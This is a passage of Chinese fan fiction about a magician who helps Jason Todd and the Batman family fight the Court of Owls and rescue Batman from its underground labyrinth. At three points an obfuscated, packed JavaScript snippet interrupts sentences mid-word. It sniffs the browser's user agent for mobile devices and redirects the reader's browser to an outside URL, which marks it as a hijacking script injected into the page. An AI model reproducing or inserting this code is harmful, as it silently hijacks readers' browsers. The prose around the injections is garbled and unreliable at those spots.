杰森的表情没变,他把茶杯放下了。“查到什么了?” 卡伦把电脑屏幕转过去。 “七个利爪,分布在韦恩大厦附近,我在它们身上放了追踪器。” 杰森看了一眼屏幕上的坐标图。 “你怎么找到它们的?” “阵法。它们晚上出来的时候,在我的感知网里是暗红色的。” 杰森没说话。他盯着那些坐标点,看了一会儿。“你要发给老头子?” “嗯,整理完就发。” 杰森沉默了一会儿。他的手指在诊台上敲了两下。 “你什么时候开始管这些事了?” 卡伦愣了一下。“什么?” “猫头鹰法庭,蝙蝠侠的事,哥谭的事。”杰森看着他。 “你以前只管诊所。” ?瞧瞧这是什么话。难道小丑的事他没功劳还是灭霸的死与他无关。 卡伦把目光移回屏幕上。他想起自己在韦恩大厦楼顶塞石头的那个晚上,哥谭的夜风很冷,他的手有点冻僵了。 他想起自己站在楼顶边缘往下看,想着布鲁斯·韦恩从同样的高度坠落的时候,会不会害怕,会不会想起他父母,会不会想起那些他没来得及说再见的人。 好吧,蝙蝠侠当然不会,蝙蝠侠总是有办法。 但是卡伦小时候会,很多小孩子都会害怕。 “她来过之后,”卡伦说,“我想多做一些。” “你发吧,老头子该知道。虽然我觉得蝙蝠侠应该早就知道了,只是没让我们出演他的电影。” 卡伦点头。他低头继续敲键盘。杰森站在旁边,把凉掉的茶喝完了。然后他放下杯子,走到门口。 “别一个人去碰那些东西。”他说。 门关上了。 ——— 3 宴会厅在水晶吊灯底下亮得发白。 布鲁斯·韦恩端着酒杯,站在人群中间。林肯·马奇在他旁边,和一个市政厅的人聊哥谭东区的重建计划。布鲁斯听着,偶尔点头。他的余光扫过宴会厅的每一个角落。落地窗,阳台,消防通道,厨房后门。 宴会进行到一半的时候,马奇接了一个电话。他的表情变了一下,很快又恢复了。他把手机收起来,走到布鲁斯旁边。 “东区的汤普金森诊所有点事。”他说。“我得过去一趟。” 布鲁斯看着他。“什么事?” “不太清楚。可能是抗议。也可能是马奇风投的竞争对手搞的。”他拍了拍布鲁斯的肩膀。“你先待着。我很快回来。” 马奇走了。布鲁斯站在宴会厅中央,看着他的背影消失在电梯口。他端起酒杯,抿了一口。没咽下去。他含在嘴里,感觉那点液体从舌尖滑到喉咙,又滑回去。 他把杯子放下了。 韦恩大厦的楼顶,夜风很大。 布鲁斯站在边缘,往下看。哥谭在他脚下铺开,灯光明灭,像一块坏了很久的电路板。他想起戈登今天下午打来的那个电话。有人在东区发现了利爪的踪迹。不止一个,分布在韦恩大厦附近。戈登不知道是谁干的,那些人被摸过之后什么都没丢,只是脖子上多了一小块淤青。 布鲁斯知道是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444129|201073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁。卡伦,那个开诊所的魔法师,杰森的朋友。 Batman is watching you. 身后有脚步声。 布鲁斯没回头。利爪,猫头鹰法庭的刺客。 脚步声停了,停在离他大概三米的地方。 布鲁斯转过身。一个穿着黑色战斗服的人影站在楼顶中央,猫头鹰护目镜在月光底下反射着冷光。它的手里拿着一把刀,刀刃很窄,很薄,像猫头鹰的爪子。 “布鲁斯·韦恩。”它的声音很平,没有感情。“猫头鹰法庭向你问好。” 布鲁斯看着那把刀。“谁派你来的?” 利爪没有回答。它往前迈了一步,布鲁斯侧身避开利爪的刀,刀刃擦过他的肋骨,割开西装外套和衬衫,留下一道浅口。 他来不及疼,因为第二刀已经到了。他后仰,刀锋从他鼻尖上方掠过,削掉了几根头发。利爪的动作比他预想的快,几乎没有停顿。正常人出刀之后需要收力、调整、再出刀。利爪不需要。 它的关节像是不存在,刀从一个不可能的角度折回来,直奔他的喉咙。 它的刀横着扫过来。 布鲁斯往后仰。刀锋擦过他的胸口,割断了领带。他的身体已经仰到了一个正常人不可能平衡的角度,脚下就是虚空。他看了一眼身后。哥谭的灯光在他脚下铺开,很远,很亮。再往后一步,就是坠落。 利爪往前迈了一步,刀举过头顶,准备往下劈。 布鲁斯没有等它劈下来。 风从下面吹上来,把他的外套吹得翻起来。 蝙蝠侠当然可以在场和他们打得不相上下,但哥谭甜心不行,所以布鲁斯他往后倒了下去。 风从他的耳边呼啸而过。外套翻起来,遮住了他的视线。哥谭的灯光在他身下铺开,越来越近,越来越亮。 布鲁斯下落的时候,手指在墙壁上摸索。冰冷的石砖,粗糙的接缝,从他指尖飞速掠过。 他在找一样东西。他相信它存在,他必须相信。 然后他摸到了。 一块凸起的石头。 一只猫头鹰。 藏在韦恩大厦外墙的某个角度,从地面上永远看不见的位置。艾伦·韦恩在一百年前就放在那里的。第十三座雕像。多出来的那一座。猫头鹰法庭以为他们掌控了一切,但艾伦·韦恩用他们自己的方式——藏一个别人看不见的东西——留下了一只手。 布鲁斯的手指扣住了它。石像的边缘很锋利,割进了他的掌心。他的身体猛地停住,肩膀差点脱臼。他咬着牙,吊在半空中。血从指缝里渗出来,顺着石像的纹路往下淌。利爪站在楼顶边缘往下看了一眼,转身走了。 它不需要确认死亡。从这种高度摔下去,没有人能活着。 布鲁斯吊在那里,手指扣着那只石猫头鹰。 然后他感觉到了身下有一层很薄很薄的东西。 像棉花,像水,像一只手,托住了他的背,刚好够他不会脱手。 布鲁斯低头看了一眼,什么都没有。 哦,魔法师。 卡伦还知道什么?他知道多少?他知道的这些事情里,有多少是他没说出口的? 他深吸一口气,开始往上爬。手指扣着石像的边缘,脚蹬着墙壁的缝隙。那张看不见的网在他身下托着他,爬到楼顶边缘,手伸上去,扣住栏杆。 翻身,落地。 布鲁斯站起来,走到楼顶边缘,往下看了一眼。哥谭的灯光在他脚下铺开,很远,很亮。他转身走进楼梯间。 猫头鹰法庭即将迎来他们严厉的父亲。 布鲁斯走进电梯。门关上了。他的掌心还在渗血,他把手插进口袋里。 ——— 4 卡伦收到消息的时候,正在地下室整理第八个利爪的坐标。 手机屏幕亮了。新闻推送。“布鲁斯·韦恩从韦恩大厦坠落,目前情况不明。” 阵法用完了,一次性的。他故意做成一次性的,说白了也是销毁证据,妄图蝙蝠侠不要来找他麻烦。 虽然大家都能猜出来是谁干的。 至少这样证明不了是他不是吗?他想韦恩不至于一边坠落一边录像,甚至请一个魔法师来现场解说? 卡伦把手机放下,把窗帘拉好,在沙发上躺下来。 ——— 5 天亮的时候,杰森来了。 他推门进来,没说话,在候诊区的椅子上坐下,脚搭上小茶几。卡伦从沙发上起来,看见他,愣了一下。 “你怎么来了?” 杰森没看他,盯着天花板。 “路过。” 卡伦看着他眼睛底下的黑眼圈。 怎么,是路过了全世界吗? “他没什么事。”杰森开口了。 “我知道。” “你怎么知道?” 卡伦下意识回答:“我在楼顶布了阵。” 哦,够了死嘴别说了,这样显得他上面特意把那个阵法做成一次性的半点用也没有。 杰森转头看他。“你知道他会从楼上掉下来?” “知道。” “预言这种东西,”他接着说,“你说出口的那一刻,它就会变。” 他也不知道他的观测和预言有什么差别,但最怕的就是没有差别。 杰森看着他。 “知道之后,你的行为就变了。未来是由无数个‘行为’堆出来的。你告诉他他会摔跤,他走路的时候会一直盯着地面,然后撞上电线杆。”卡伦停了一下。 “这不是预言错了,是预言本身改变了他走路的方式。” 杰森没说话。 “我不告诉他,不是因为这得他自己走。”卡伦说。“是因为我不知道,我告诉他之后,会发生什么。也许会变得更糟。 也许他不会去楼顶了,也许利爪会换一种方式,也许死的不是他,是别人。”他低头看着茶杯里的水。 “所以我不告诉他至少能保证他不会摔死。剩下的,他自己来。” “下次,”他说,“提前告诉我。” “别担心,我不会插手,我甚至会来一场超绝哥谭甜心极限自救的现场直播。” “我们可以一起当观众——或者临时的救援人员,不是吗?” 33. 第三十三章 1 卡伦是在第三天夜里受伤的。 肋骨翻开、皮肉往外翻、血像溪流一样,缓慢地涌出。他靠在安全屋的沙发上,手按着伤口,银白色的光从指尖渗出来,勉强把血止住。 安全屋在东区一栋高层公寓的顶楼。他之前花了不少钱租下来的,为的就是这种时候。 两室一厅,有热水,有暖气,客厅铺着灰色的地毯,沙发很大,能躺能坐。墙角有一张桌子,上面摊着哥谭的地下管网图纸,画满了红圈和箭头。窗帘是定制的,三层遮光布,拉上之后白天也伸手不见五指。 他当时选这个地方的时候,中介问他租来干什么。他说写小说。中介看了一眼他的脸,没再问了。 现在该庆幸他有先见之明吗? 不,现在该幸灾乐祸,猫头鹰法庭即将迎来他第二个严厉的父亲。 卡伦现在坐在这张很贵的沙发上,浑身是血,一边缝针一边骂。骂猫头鹰法庭,骂林肯·马奇,骂那些半夜不睡觉跑来杀他的利爪。 也骂自己——怎么就没多准备几枚冰符石。 前因是两天前。 猫头鹰法庭不知道通过什么渠道察觉到了他的存在。 也许是利爪身上的符文被发现了,也许是他布阵的魔法残留被扫描到了,也许只是运气不好。 哥谭的运气从来不在好人这边。 凌晨三点,诊所的感应阵突然炸了。卡伦从沙发上弹起来,感知网里五个暗红色的光点正从不同方向朝诊所逼近。 他没有犹豫,从地下室抓了一把符石和一把短刀,从后门翻出去。脚刚落地,诊所前门的玻璃就碎了。 利爪从窗户翻进来。猫头鹰护目镜在月光底下反射着冷光。刀比他预想的快,刀刃擦过他的肩膀,割开了卫衣的袖子。 卡伦侧身躲开第二刀,同时右手从口袋里摸出一枚符石,按在利爪的小臂上。银白色的光炸开。 利爪的手臂僵住了,像被封印了一样——琥珀金怕低温,这是他前几天摸那些利爪时发现的。不是纯粹的魔法,是炼金术模拟的极低温,刚好能抑制琥珀金的自愈能力,能让利爪的身体短暂失灵。 不够久,但眼下也挑不了了。 又有一只利爪从后巷包抄,卡伦听见了它的脚步声。 他蹬了一脚墙壁,整个人弹起来,从第一只利爪的头顶翻过去。落地的同时左脚扫出去,踢在第二只利爪的膝盖上。骨头碎裂的声音闷得像掰断一根湿木柴。 卡伦的上肢力量不算出色,至少没有达到怪力罗宾的程度,所以他一般在战斗中会更加依靠下肢,豹子一样的爆发力是支撑起他无数次的突进攻击。 利爪的身体歪了一下,但没有倒。它不怕疼,膝盖以一个不可能的角度弯着。 谢特,他的腿都成弯豆角了,就这还在艰难移动。 卡伦有点掉san了。 这简直是一台被上了发条的机器,让人疯狂地犯恐怖谷效应。 这该死的类人生物,离鬼或许很近,离人绝对很远。 第三只,第四只利爪从诊所正门冲出来,从后方冲向他站的地方,刀横着扫向他的脖子。 卡伦千钧一发地蹲下去,刀从他头顶掠过,削掉了几根头发。他没有起身,直接在地上转了一圈,扫堂腿踢中利爪的脚踝。它摔倒了。 然后他猛得挺身,靠腰腹发力,又是一拳砸在另一个利爪的脸上,顺带往他的嘴里送了一枚冰符石。 卡伦翻身骑上之前那个摔倒利爪的后背,右手按着它的后颈,银白色的光灌进去。它的身体抽搐了一下,然后不动了。 另外两只还在动,一只在诊所里面,一只在屋顶上。 卡伦没有和他们继续纠缠,他翻过诊所后巷的围墙,往东区深处跑。 利爪跟在后面,很难想象它们受了那么重的伤。 Okok,就当利爪不需要喘气吧,反正他是人,他需要。 他跑过三条街,翻过两道铁栅栏,钻进一栋废弃公寓的地下室。 利爪跟下来了。 地下室的空气很潮,混着霉味和尿骚味。卡伦蹲在角落里,听着脚步声越来越近。手指间夹着两枚符石,一枚冰,一枚爆。冰的先按,爆的塞进护目镜里,炸开。碎片会扎进大脑。 琥珀金能愈合刀伤、枪伤、坠落伤,但大脑的再生速度比身体慢。 第一只利爪转过拐角。卡伦从暗处切出去,左手按冰,右手塞爆。冰在它的胸口炸开,银白色的霜爬满了战斗服。它低头看了一眼,还没来得及反应,爆符石已经在护目镜里炸了。头往后仰了一下,然后倒下,直挺挺地像一棵被砍断的树。 一切发生在电光火石间,卡伦抬头和站在楼梯上的利爪对视上,飞快地转身,从地下室的另一个出口跑了。 左肩在流血,后腰也有一道口子。跑的时候能感觉到风灌进去,凉飕飕的。希望他不要再给这具身体来个大改造,这好歹也算是半个原装的。 他跑了六条街,确认没有继续跟上来之后,靠在墙上喘了很久。然后他一瘸一拐地走到了安全屋。 安全屋的门是密码锁加炼金术加固的。 关上门的瞬间,卡伦靠着门板滑坐在地上。喘了好一会儿。然后他爬起来,几乎是半爬伴走地进了浴室,打开灯。 镜子里的自己——左肩一道口子,后腰一道口子,肋骨侧面还有一道,不知道什么时候划的。血把整个左侧身体染成了暗红色,卫衣脱下来的时候粘在伤口上,撕开的时候疼得他骂了一声。 他洗了手,翻出急救箱,坐在沙发上开始缝针。 缝到第三针的时候,他喘着粗气,嘶哈的停下来,看了一眼窗外。 哥谭的夜空灰蒙蒙的,看不见星星。他猛然想起自己这副身体才十九岁,伤口的愈合速度比他在叠羽大陆的时候慢得多。 那时候他的身体被炼金术反复锻打过,皮肤硬得像皮革,伤口三天就能长好。现在这副身体是“原装的”——从魔法世界回来之后,他的灵魂装回了十六岁的身体里,然后这具身体又长了三年。 尽管有些炼金改造跟着他的灵魂又装进了这副身体,但很多只局限在躯壳的改造确实是随着他上一具身体的消亡消失了。 所以受伤了会疼,疼了会冒火,冒火了会做蠢事。 他现在就很冒火。 他明明安安稳稳地开诊所、喝茶、给老太太量血压、偶尔跟杰森拌两句嘴——他的生活过得还不算平淡吗?到底是碍了谁的眼,偏偏要来给他找事。 猫头鹰法庭:这只是你自己觉得平淡而已!到底是谁都要把我们的老巢翻出来了!! 半夜被从沙发上炸起来,被不会疼的死人追着跑过半个东区,身上多了三道口子,缝了十一针,坐在安全屋的沙发上,手上全是血,伤口还在往外渗,疼得要死,茶几上只有不知道剩了多少天的咖啡,连口热水都喝不上。 他连烧水的工夫都没有! 卡伦把针线放下,盯着茶几上那杯凉透了的咖啡。 简直是被气笑了。 他把卫衣扔进垃圾桶,从衣柜里翻出一件干净的黑色高领内搭穿上。然后拿出手机,给杰森发了一条消息。 “我没事。这几天不在诊所。别担心。” 发完他看了一眼屏幕,没有等回复,把手机塞进口袋,背上包,推门出去了。 外面天还没亮。哥谭的夜风很冷,吹在刚缝好的伤口上,刺刺地疼。 他把兜帽拉起来,走进了夜色里。 他要把那些躲在暗处、操控一切、派利爪来杀他的老东西一个一个揪出来,余生带着永久的悔恨。 后悔来扰他清梦。 ——— 2 接下来的两天,卡伦几乎没合过眼。 白天窝在安全屋里画地图。把追踪到的利爪坐标、韦恩大厦附近的阵法残留、从那些被摸过的利爪身上回收的符文数据,全部摊在客厅的地毯上,拼成一张巨大的哥谭地下网络图。茶几上堆着能量棒包装纸和咖啡罐。 他一边嚼能量棒一边往图上标位置,用红笔在几个重点区域画了圈。 晚上出去跑。从东区到南区,从南区到北区,从北区到市中心。穿着黑色高领内搭和工装裤,兜帽拉得低低的,走路没有声音。 他找到了两个利爪巢穴。 第一个在哥谭综合医院的地下二层,太平间隔壁。琥珀金浇铸的棺材一排排码在墙上,像图书馆的书架。棺材里躺着人。 不是死人,是还没被唤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444130|201073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒的利爪。他们的脸是灰白色的,嘴唇没有颜色,指甲很长。卡伦蹲在棺材前面,把手按在玻璃上,感知了一下。琥珀金在棺材里缓慢地流动,像血液,像某种还活着的、还在等待的东西。 他没有动他们,省得打草惊蛇。 第二个在韦恩大厦的地下停车场下面。入口藏在一面假墙后面,墙上的砖是画上去的,手摸上去能感觉到颜料的粗糙。卡伦用了三秒钟破解了门锁,走进去。走廊很长,灯光是暗红色的,墙壁上刻着猫头鹰的浮雕。 走廊尽头是一扇铁门,锁着。卡伦没有开门,只把一枚符石塞进门缝里,记下了门后面的空间大小和利爪数量。然后退出来,把假墙恢复了原样。 第三天上午,他坐在安全屋的沙发上,把找到的线索整理成一份新的文件。利爪巢穴的位置、琥珀金的流动规律、法庭可能的总部所在地。他在哥谭市政厅的地下管网图纸上画了三个红圈:东区,韦恩大厦,哥谭公墓。 做完这些,他翻出手机。 屏幕上有一条未读消息,是杰森三个小时前发的。 “老头子失踪两天了。” 卡伦手指顿了一下。 ?谁失踪了?蝙蝠侠失踪了?时间已经快进到这个地步了吗?难道他突然时间穿越了? 往上翻,看见自己两天前发的那条“我没事。这几天不在诊所。别担心。”杰森没回那条。隔了整整一天,他就给自己暴了这个大雷。 该死,这两天太忙,没什么空关注蝙蝠侠。伤口疼得要死,他火气一上头就忘了这回事了。 可恶,到底是身体影响了脑子吗? 卡伦把手机放下,闭了一会儿眼。眼皮很重,重得像挂了铅块。 伤口还在疼,后腰那道口子缝了七针,每次弯腰的时候都会扯着。他坐在沙发上,靠着靠垫,脑子里在转。蝙蝠侠失踪两天了。 如果和被他观测的世界一样,蝙蝠侠大概会被困在迷宫里八天。他不知道迷宫在哪里。但他知道猫头鹰法庭的巢穴分布——东区,韦恩大厦,哥谭公墓。 如果他是法庭,他会把迷宫建在地下。哥谭的地下。那些一百年前就被挖好的、被遗忘的、不在任何一张官方地图上的地下空间。 或许艾伦·韦恩当年建造的那些“不存在的13楼”,就是入口。 蝙蝠侠应该也想到了这一点。 呃啊,明明是家人众多但有点令人羡慕嫉妒恨的人,非要work alone吗?出门前都给我报备啊! 卡伦睁开眼,拿起手机,给杰森打了过去。 “你在哪?”杰森的声音有点哑。 虽然卡伦现在自己又疼又累,但他绝望地发现,自己听见杰森声音的这一刻竟然不可抑制地在心疼他。 他真是没救了。 “安全屋,东区。”卡伦说。“我找到了几个法庭的巢穴,蝙蝠侠可能在其中一个里面。” 对面沉默了两秒。 “几个?” “三个。东区,韦恩大厦,哥谭公墓。” “你怎么找到的?” “跑了两个晚上。” 对面又沉默了两秒。“你受伤了?” 卡伦低头看了一眼自己的腰。绷带下面还在渗血,颜色淡了一点,但没干。“皮外伤。” 杰森没追问。“我和迪克去韦恩大厦。公墓归你,东区让提姆和芭芭拉查。” “行。” “你什么时候出发?” “现在。” 卡伦挂了电话。把U盘抽出来,塞进外套内侧的口袋里。背包清空,只装了符石、短刀、一卷绷带、一瓶水。 站起来,活动了一下肩膀。左肩那道口子扯了一下,疼得他龇了龇牙。深吸一口气,把兜帽拉起来,推门出去了。 哥谭的傍晚灰蒙蒙的。路灯还没亮,天边最后一抹橘红色正在被黑暗吞掉。卡伦走在去哥谭公墓的路上,影子被拉得很长,投在湿漉漉的人行道上。 哥谭公墓在东区最南边,靠近港口。 卡伦站在公墓的铁门前,看着里面那些歪歪扭扭的墓碑。有的倒了,有的裂了,有的被涂鸦盖住了名字。风吹过来,带着海水的腥味和枯叶的腐烂味。 他把铁门推开,走了进去。 34. 第三十四章 1 卡伦站在哥谭公墓的铁门前,闭上眼。 感知网往下探。什么也没有。 果不其然,被挡住了。 琥珀金的矿脉像一层壳,把地下的一切都裹得严严实实。他能感觉到壳的存在——那种冷硬的、带着金属腥味的能量,像一块巨大的铁板,把所有的声音、温度、灵魂都压在里面。 法庭隐蔽的功夫真是一绝,亏不得蝙蝠侠这么久也没抓住它们,他们这个洞简直就像用一块厚毯子盖住一窝老鼠。老鼠在底下叫,但你在上面什么都听不见。 卡伦睁开眼,推开铁门走了进去。 公墓很大。墓碑歪歪扭扭地立着,有的倒了,有的裂了,有的被涂鸦盖住了名字。他走得很慢,经过每一块墓碑的时候都把感知网往下探一点。 他蹲下来,把手按在一块裂了一半的墓碑上。 石头的表面很凉,裂纹里长着青苔。感知网往下探了三米,五米,十米。琥珀金的壳还在。但他摸到了一条裂缝。 是壳下面那条矿脉的接缝,仿如两块铁板之间的焊缝,没焊好,留了一条细缝。正好让卡伦把感知丝从那条缝里塞进去。 银白色的光丝往下延伸,穿过泥土,穿过碎石,穿过琥珀金的壳。 壳底下的世界慢慢在他脑子里亮起来,暗红色的,像被血泡过的地图。 那是琥珀金的能量在流动。 矿脉像血管,像根系,像一张被埋在地下的、还在跳动的心脏网。 卡伦在那些暗红色的纹路里找“节点”。 任何能量网络都有节点。节点是能量交汇的地方,也是最脆弱的地方。找到节点,就能顺着它找到网络的中心。琥珀金的网络也不例外。 走了大概二十米,他停下来,把手按在地上,成功摸到一个节点。 暗红色的纹路在这里打了个结,是血管的瓣膜,河流的弯道。卡伦把感知丝绕上去,顺着节点往下一层摸。找到了另一个节点。再往下一层,又一个。 他如同一只在树枝间跳跃的猫,从一个节点跳到另一个节点。蹲下,摸地,感知,站起来,蹲下,摸地,感知。 公墓的夜风很冷,吹在他后腰那道还没好全的伤口上,刺刺地疼。 跳到第七个节点的时候,他停下来。 没路了。 节点在这里经过加密,琥珀金的能量在这里分裂成无数条细丝,每一条都通向不同的方向,他找不到线头。解不开。 法庭不是傻的。它们知道有人会来摸它们的网,所以它们把节点加密了。每一层都是活的,能量波动的频率在变,方向在变,连节点的位置都在变。 卡伦把手收回来,站起来,拍了一下膝盖上的灰。 他在心里骂了一句。 忍不住,他又骂了一句。 算了,骂也没用。 他在叠羽大陆学了十几年炼金术,结果现在他蹲在哥谭公墓里,对着一个加密的能量网络束手无策。这说明什么?说明他该回去补课了。或者说明猫头鹰法庭比他想象的难缠。或者说明他今天运气不好——这东西也从没好过,反正倒霉事总能落在他头上。 他看了一眼手机,蝙蝠家的那群小鸟们还有三分钟到,他决定不跟猫头鹰们兜圈子了。 ——— 2 杰森是第一个到的。 他从公墓东边的围墙翻进来,脚步声压得很低,但卡伦听见了。不是脚步声,是他的呼吸。杰森的呼吸比别人沉,像胸腔里装着一口钟,每次呼气都带着很低的共鸣。卡伦不用看就知道是他。 “找到了?”杰森走过来,站在他旁边。 “没。”卡伦蹲在地上,手还按着那块墓碑。“网络加密了,解不开。” 杰森低头看着他。“那你蹲在这儿干嘛?” “骂人。” 。 杰森沉默了两秒。“骂完了?” “骂完了。” “能走了吗?” 卡伦站起来,拍了拍膝盖上的灰。 “等达米安。” 杰森:其实我们不如不等。 达米安从公墓正门走进来的。穿着一件黑色的卫衣(卡伦:竟然不是那件鲜艳的罗宾制服吗?),兜帽拉得低低的。他看见卡伦的时候,上下打量了一眼。 “你受伤了。”不是疑问。 “皮外伤。”没死一律叫皮外伤。 达米安看了杰森一眼,杰森没说话。 达米安把目光收回来:“蝙蝠侠在哪?” “地下,迷宫。”卡伦指了指脚底下。“我能感觉到他,但现在不知道具体位置。” 杰森开口了。 “分头找。” 达米安点头。卡伦摇头。 “不,不用分开。” 两个人看着他。 “下去之后我就能模糊地感觉到他的方向,”卡伦说,“跟着我就行,分开容易被利爪围攻——而且你们没有魔法感知,下去了也是瞎转。” 杰森盯着他看了两秒。“你确定?” “确定。” 杰森把枪从腰间抽出来,检查了一下弹匣。“那就走。” 达米安已经从腰后抽出了刀,三个人往公墓东南角走。 卡伦走在最前面,杰森在他左边半步,达米安在后面。卡伦的走路姿势还是不对,杰森注意到了。他没说,现在不是时候。 但他在心里记了一笔。 杰森脚步快了一点,走在卡伦左边,用身体挡着他左肩的方向。 卡伦没注意到,他在找入口。 ——— 3 入口在公墓东南角的一个家族墓室里。 墓碑上刻着一个不认识的名字,下面是一扇生锈的铁门。杰森拉开铁门,一股潮湿的、混着石灰和腐烂气息的风从下面涌上来。 卡伦站在门口,往下看了一眼。楼梯很陡,台阶上长满了青苔,墙壁上渗着水。楼梯尽头是一片漆黑。 他迈下第一级台阶,靴子踩在青苔上,发出很闷的声响。杰森跟在后面,达米安断后。 三个人走进黑暗。 楼梯到底,面前是一条走廊,很窄,只能容一个人通过。墙壁是粗粝的石砖,上面刻着猫头鹰的浮雕。每隔几米,墙上嵌着一盏暗红色的灯,光很弱,照不了多远。 卡伦走进去的时候,感觉到了墙壁里有东西。某种很细的、像血管一样的矿脉。它们在跳动。并非是什么活着的东西,而是某种更古老的、更机械的节律。尤如一台被上了发条的机器在运转。他摸了一下墙壁。 指尖碰到石砖的瞬间,那些矿脉的跳动变快了。 恐怕法庭知道他们来了。 “它们在看着我们。”卡伦说。 杰森把枪举起来,对准走廊尽头。“那就让它们看。” 他们往前走。走廊越来越窄,墙壁上的水渍越来越多。卡伦把感知网打开,银白色的光丝从指尖渗出来,往前延伸。琥珀金的壳在迷宫底下更厚了,但他的感知丝已经穿过了壳——他现在在壳里面。蝙蝠侠的那团光在迷宫深处,很暗,但好在没有熄灭。 不是他找到了蝙蝠侠,是蝙蝠侠在喊他。卡伦不知道这算不算安慰。 “这边。”他往左转。 杰森跟上来。达米安在后面,刀在手里转了一圈。 走廊尽头是一扇门,是一面刻满了猫头鹰浮雕的石墙。 他退后一步,杰森抬脚踹门,结果踹到一半,墙自己开了。石墙从中间裂开,往两边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444131|201073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滑进去。 门后面是一个巨大的圆形空间。 墙壁从地面一直延伸到头顶的黑暗里,看不见顶。 墙上嵌满了某种未知金属做成的猫头鹰雕像,它们的眼睛是琥珀金做的,在暗红色的灯光底下亮着,低头看着他们。卡伦站在门口,仰着头看那些发光的眼睛。 杰森走到圆形空间中央,环顾了一圈。“他在哪?” 卡伦闭上眼,感知网往外扩。 “下面。” “有通道吗?”达米安问。 卡伦扫了一圈。墙壁是光滑的,那些猫头鹰雕像嵌在墙上,间距刚好够一个人踩。 他叹了口气。 又要爬了。 这种事对他这种“文艺风”的魔法师很不友好啊。 放在游戏里,他应该是站桩炮台来着,为什么要在这里做刺客的事啊。 他又在心里把猫头鹰法庭骂了一遍,然后走到墙边,踩着第一只猫头鹰的脑袋,往上爬。 不对,不是往上,是往下。 墙上的雕像排列成一个螺旋形的阶梯,从这层一直通到地下更深的地方。他踩着一只猫头鹰的脑袋,跳到另一只猫头鹰的脑袋上,再往下跳。杰森跟在后面。达米安跟在最后面。三个人的脚步声在圆形空间里来回弹,像雨点打在铁皮屋顶上。 卡伦跳到最下面一层的时候,脚落地时扯到了后腰的伤口。他顿了一下,没吭声。 卡伦:%“ak-#kzkxmjak:#mazkak(鸟语花香) 杰森落在他旁边,看了他一眼。 卡伦已经往前走了。 ——— 4 蝙蝠侠靠在墙上。 他的黑色制服被血和泥糊成了灰褐色,左臂以一个不自然的角度垂着。 胸口的蝙蝠标志被划了一道很深的刀痕,几乎从中间裂成两半。额头上有一道口子,血已经干了,结成黑色的痂。他的眼睛闭着,嘴唇没有颜色。但他在呼吸。很慢,很沉,像一台快要耗完油的发动机在做最后的空转。 达米安第一个冲过去。他蹲在蝙蝠侠面前,手悬在他的肩膀上,没敢碰。“父亲。”蝙蝠侠没有反应。“父亲!”声音大了一点。 蝙蝠侠的眼皮动了一下。很慢,瞳孔涣散了几秒,然后聚焦了。 他看着达米安,又看着杰森,最后扭头看向卡伦。 “你们怎么找到这里的?”他的声音很哑,像砂纸磨过木头。 “他找的。”杰森用下巴指了一下卡伦。 蝙蝠侠看向卡伦。卡伦蹲在几步之外,兜帽拉下来了,头发披在肩膀上,金色的眼睛在暗红色的灯光底下亮得有点不真实。他的脸色很差,眼底有血丝,但精神还算不错。 “谢谢。”蝙蝠侠说。 卡伦愣了一下。“不客气。” 达米安已经检查完蝙蝠侠的左臂——骨裂,对于蝙蝠侠来说不算严重,但仍需尽快处理。 杰森转身往通道的方向看了一眼。“能走吗?” 卡伦施了个迷惑的魔法,但绝对迷惑不了那群猫头鹰多久,他们再不走的话,恐怕就要面对利爪的围攻了, “能。” “那快走。”杰森转身往通道走。走了两步又回头,他看着蝙蝠侠,又看着卡伦。“你们两个,回去再算账。” 蝙蝠侠没说话,卡伦也没说话。 杰森转身走了,达米安扶着蝙蝠侠跟在后面。 卡伦落在最后,他的左肩在疼,后腰也疼,两天没睡的脑子嗡嗡响。他快步走到杰森旁边,和他并排。 保持着半米的距离。 杰森看了他一眼。 卡伦盯着前方的黑暗,两个人走在最前面,脚步声在狭窄的通道里回弹。 35. 第三十五章 1 从迷宫出来的路上,蝙蝠侠一句话都没说。 达米安扶着他,杰森走在前面探路,卡伦断后。四个人在黑暗的通道里沉默地走着,只有脚步声和呼吸声。 卡伦的感知网一直开着,琥珀金的矿脉在墙壁里缓慢地流动,像一条条冬眠的蛇。法阵的屏蔽功能现在应该失效了,也就是说法庭知道他们进来了,也知道他们出去了,但什么都没做。没有利爪追上来,没有陷阱被触发,连墙壁上的暗红色灯光都没有闪一下。 卡伦觉得这比被追杀还恶心,像被老鼠高高在上地放了一马。 他不确定法庭是不想打草惊蛇,还是根本不在乎他们救走蝙蝠侠——迷宫本来就是可进可出的,真正困住人的不是墙,是墙里面的东西。 